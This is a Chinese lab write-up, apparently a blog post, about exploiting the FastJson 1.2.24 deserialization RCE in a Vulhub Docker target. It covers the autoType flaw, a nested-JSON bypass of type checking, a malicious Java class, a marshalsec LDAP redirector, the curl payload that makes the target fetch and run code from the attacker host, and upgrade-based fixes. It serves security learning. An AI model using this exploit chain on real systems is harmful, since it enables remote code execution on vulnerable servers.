FastJson(Vulhub靶场)

0.前言与踩过的坑

暑假匆匆过去,又到了乖宝宝学习的时间了,这个其实是跑了回家前就搞完的了,现在才发出来意思一下,有些东西可能忘记写进去或者干脆不想写进去了,摆烂太久忘得可能有点多了。

FastJson 是阿里巴巴开源的 Java JSON 解析库,因其高性能在国内 Java 项目中广泛使用。2017 年披露的 CVE-2017-18349 是其最著名的漏洞之一:FastJson 1.2.24 及以下版本中 `autoType` 默认开启,攻击者可通过 `@type` 字段指定任意类触发反序列化,最终实现远程代码执行。

本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。

0.1 类型约束的坑------`type not match` 不是终点

直接用@type` 直接指定 JdbcRowSetImpl 时,返回 `type not match`,尝试java.lang.AutoCloseable`(一个 JDK 自带接口)当探针测试,发现同样是 `type not match` 而不是 `autoType is not support`,这说明autoType开关确确实实是开的,确实实例化了,但类型转化错误

autoType is not support → 类被拦截在加载阶段 → 漏洞不存在

type not match → 类已经加载并实例化,只是最后类型转换失败 → 漏洞存在!

但问题来了:漏洞存在 ≠ 能直接利用。`/` 接口的代码是 `JSON.parseObject(data, User.class)`,`User.class` 作为类型约束,在解析 `@type` 时做了类型检查。`JdbcRowSetImpl` 不是 `User` 的子类,直接被拦截,`setDataSourceName` 和 `setAutoCommit` 根本没被调用,JNDI 副作用不触发。

tcpdump 抓包 0 packets,搭好的 LDAP 服务没有任何请求进来------铁证。

0.2 嵌套 JSON 绕过类型检查

绕过的关键来自 Agent 搜索到的 payload:

复制代码
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true}}

原理:外层 `b` 是 `Object` 类型字段,`User` 类通过类型检查 ✅。内层 `@type` 在反序列化 `b` 字段时才触发,此时没有类型约束,`JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发。

1.环境准备

组件 版本 / 来源 用途
靶场 vulhub/fastjson/1.2.24-rce (Docker) 漏洞环境
攻击机 Kali Linux 2025.4 攻击主机
JDK 21 javac Kali 自带 编译恶意类(--release 8 对齐目标)
marshalsec 预编译 jar JNDI LDAP 转发服务
Python HTTP Server 系统自带 托管恶意 class 文件
nc 系统自带 带外回显 / 反弹 shell 监听

2.基本原理与核心代码审计

这一部分详细可以去看我之前的文章,这里只做简单介绍

2.1基本概念

FastJson 是阿里巴巴开源的高性能 JSON 解析库,核心功能是把 JSON 字符串和 Java 对象互相转换:

java 复制代码
```java

// 序列化:Java 对象 → JSON 字符串

String json = JSON.toJSONString(user);

// → {"name":"Bob","age":25}
java 复制代码
// 反序列化:JSON 字符串 → Java 对象

User user = JSON.parseObject(json, User.class);

```

2.2 为什么会爆出反序列化漏洞?

FastJson 有一个 `@type` 字段,作用是**指定反序列化的目标类**:

```json

{"@type":"com.example.User","name":"Bob","age":25}

```

正常情况下,`@type` 的值应该是业务需要的类。但 FastJson 1.2.24 的 `autoType` 默认开启,**不做任何限制**,攻击者可以指定任意 JDK 自带类或第三方库中的类。

漏洞根源: FastJson 反序列化时会自动调用目标对象的 **setter 方法**。某些 JDK 类的 setter 有副作用------比如 `JdbcRowSetImpl.setAutoCommit(true)` 会触发 JNDI 远程加载。

2.3 核心利用链

① 攻击者发送 JSON:

{"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://攻击机:1389/Evil",

"autoCommit":true}

② FastJson 反序列化:

  • 实例化 JdbcRowSetImpl

  • 调用 setDataSourceName("ldap://攻击机:1389/Evil") ← 记住地址

  • 调用 setAutoCommit(true) ← 触发 JNDI lookup

③ JdbcRowSetImpl 内部:

connect() → InitialContext.lookup("ldap://...")

连接攻击机的 LDAP 服务 → 下载恶意类 → 执行恶意类的 static{} 代码块

```

2.4 核心代码审计

靶场控制器的关键代码:

java 复制代码
```java

// vulhub/fastjson/1.2.24-rce 的 JSONController.java

@Controller

public class JSONController {

    @RequestMapping(value = "/", method = RequestMethod.POST)

    @ResponseBody

    public User parse(@RequestBody String data) {

        // 关键:parseObject 的第二个参数 User.class 施加了类型约束

        User user = JSON.parseObject(data, User.class);

        return user;

    }

}

```

`parseObject(data, User.class)` 中的 `User.class` 是类型约束。如果直接在 JSON 顶层写 `@type` 指定非 User 类,FastJson 在解析阶段就会做类型检查并抛 `type not match`。

**绕过方式------嵌套 JSON:**

java 复制代码
java

// User 类中如果有 Object 类型的字段

public class User {

    private String name;

    private int age;

    private Object b;  // ← Object 类型,无约束!

}

当 JSON 是 `{"b":{"@type":"JdbcRowSetImpl",...}}` 时:

  • 外层 `b` 是 Object,`User` 通过检查 ✅

  • 内层 `@type` 在反序列化 `b` 时触发,此时没有类型约束

  • `JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发

3. 攻击流程(重点)

3.1 指纹识别

先确认是 FastJson 靶场:

bash 复制代码
curl -i http://192.168.153.1:8081/

# 返回: {"age":25,"name":"Bob"}

特征: 纯 JSON 响应 + 教学示例数据 → FastJson 靶场

3.2 探测 POST 解析行为

bash 复制代码
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json"-d '{"name":"test","age":1}'

返回: {"age":20,"name":"test"}

注意: age:1 变成了 age:20 → age 没有 setter,保持默认值 20,大概可以猜到这个age可能是写死的,而name经历了反序列化和序列化的过程

3.3 验证 autoType 是否开启

bash 复制代码
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable"}'

返回: "message":"type not match"

关键: 不是 "autoType is not support" → autoType 开启 ✅

判断逻辑

type not match → 类已加载,已实例化 → autoType 没拦 → 漏洞存在

autoType is not support → 类被拦截在加载前 → 安全

3.4 编写恶意类

java 复制代码
TouchFile.java

import java.lang.Runtime;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"touch", "/tmp/success"};

            rt.exec(commands).waitFor();

        } catch (Exception e) { }

    }

}

3.5 编译(版本对齐)

bash 复制代码
# 用 --release 8 指定目标为 JDK 8

javac --release 8 TouchFile.java

验证版本号

javap -verbose TouchFile.class | grep "major version"

输出: major version: 52 ← 52 = Java 8 ✅

3.6 启动服务

bash 复制代码
# 窗口 1: HTTP 服务(托管 TouchFile.class,端口 8000)

python3 -m http.server 8000
bash 复制代码
# 窗口 2: marshalsec LDAP 服务(端口 9191,转发到 HTTP)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \

  marshalsec.jndi.LDAPRefServer \

  "http://192.168.153.128:8000/#TouchFile" 9191

3.7 发送攻击 payload

bash 复制代码
curl -i -X POST http://192.168.153.1:8081/ \

  -H "Content-Type: application/json" \

  -d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.153.128:9191/TouchFile","autoCommit":true}}'

3.8 结果分析

返回

json

bash 复制代码
{

    "timestamp":1787918123486,

    "status":500,

    "error":"Internal Server Error",

    "message":"set property error, autoCommit",

    "path":"/"

}

**LDAP 日志:**

bash 复制代码
Listening on 0.0.0.0:9191

Send LDAP reference result for TouchFile redirecting to http://192.168.153.128:8000/TouchFile.class

**HTTP 日志:**

bash 复制代码
192.168.153.1 - GET /TouchFile.class HTTP/1.1 200

**攻击链全流程:**

```

① 嵌套 JSON 绕过类型检查

{"b":{"@type":"JdbcRowSetImpl",...}}

→ 外层 b 是 Object,User 类型检查通过 ✅

→ 内层 @type 在反序列化 b 时触发 autoType

② JdbcRowSetImpl.setAutoCommit(true)

→ 触发 connect() → JNDI lookup("ldap://192.168.153.128:9191/TouchFile")

③ marshalsec LDAP 服务

→ 返回重定向:http://192.168.153.128:8000/TouchFile.class

④ 靶机下载 TouchFile.class

→ HTTP 200 ✅

⑤ FastJson 加载 TouchFile 类

→ static {} 块执行 → touch /tmp/success ✅

4. 修复方案

4.1 升级 FastJson

FastJson 1.2.25 开始引入 `autoType` 黑名单机制,1.2.68 引入 `safeMode`。最低要求升级到 **1.2.83+**:

```xml

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.83</version>

</dependency>

相关推荐
域智盾系统来啦5 小时前
电脑远程监控软件具备哪些核心能力?电脑远程监控软件企业落地核心知识点汇总
安全·远程工作·电脑远程监控软件
hz567895 小时前
手术室视频示教系统解决方案:让临床教学突破空间限制
安全·音视频·实时音视频·信息与通信·智能硬件
安全指北针6 小时前
数据安全产品 POC 验证怎么做?一套可落地的评估方法
大数据·安全
Linux运维技术栈7 小时前
如何避免绕过CDN的攻击?基于 CDN 回源请求头鉴权的防御实操与安全性剖析
nginx·安全·cdn
hasty8 小时前
一次同秒竞态,如何把污染制品送进 npm 与 TestPyPI
安全·安全威胁分析·代码复审
贾伟康9 小时前
【HarmonyOS 7新能力|037】数字盾工程封装:把接入逻辑放进可维护的分层结构
安全·harmonyos·arkts·软件架构·数字签名
m0_715674439 小时前
智能化+基于行标+场景化 政务数据库审计与风险监测全维度解决方案
网络·数据库·安全·网络安全·政务
山东科恩光电10 小时前
安全触边系统在工业自动化设备中的重要性及应用前景
安全
看浪的路人10 小时前
第8讲:运行时安全与沙箱隔离——Agent 能做什么,不能做什么
安全
云杂项10 小时前
Safety at Scale: A Comprehensive Survey of Large Model and Agent Safety(LLMs章节)
人工智能·安全